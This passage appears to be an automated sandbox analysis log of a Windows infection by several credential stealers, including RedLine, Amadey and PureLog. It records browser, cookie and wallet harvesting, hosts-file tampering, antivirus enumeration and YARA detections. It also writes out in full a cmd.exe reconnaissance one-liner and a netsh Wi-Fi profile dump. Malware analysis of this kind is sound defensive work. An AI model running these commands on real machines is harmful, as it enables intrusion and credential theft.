Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Games VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\screenshot.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\screenshot.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\process_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Firefox\History.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Cookies.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\network_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Sessions VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Tokens VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Wallets VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\network_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\network_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\network_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\process_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\screenshot.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\screenshot.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Firefox VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Cookies.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Cookies.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Cookies.txt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Browsers\Firefox VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\Wallets VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792 VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Queries volume information: C:\Users\user\AppData\Roaming\configurationValue\One.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\ProgramData\okili\peombdb.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Code function: 2_2_008ACAED GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

2_2_008ACAED

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies the hosts file

Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe

File written: C:\Windows\System32\drivers\etc\hosts

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: redline123123.exe, 0000000E.00000002.2258423010.0000000001492000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.DPqKF5vqpe.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.axplong.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.axplong.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.890000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1551081052.00000000002A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1545978082.0000000004FC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1510788900.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.1758062936.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1547587415.0000000005090000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1587879270.0000000000891000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1798487230.0000000000891000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Monster Stealer

Source: Yara match	File source: 0000000F.00000002.2516182739.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.1972797651.00007FF6F750D000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1950589359.000001DD9653E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: judit.exe PID: 7984, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: redline123123.exe PID: 8044, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stub.exe PID: 8068, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\A3B72742-B01E-F386-0AFE-0607D0800792\system_info.txt, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.One.exe.128c1a78.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.4045570.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.4045570.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.One.exe.128c1a78.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.One.exe.490000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000002.2405960200.0000000004041000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2397729767.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.1996629606.0000000000F30000.00000004.00000001.01000000.0000002C.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2005899923.0000000000492000.00000002.00000001.01000000.0000002E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2242835932.00000000128C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\configurationValue\One.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 28.2.RegAsm.exe.572b5e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f32a9b.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.469fc0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.redline123123.exe.e30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.svhoost.exe.440000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f98ca0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.403dbb.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.10a183e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.RegAsm.exe.572b5e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f30ae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f98ca0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.10a183e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.upd.exe.f00000.0.unpack, type: UNPACKEDPE
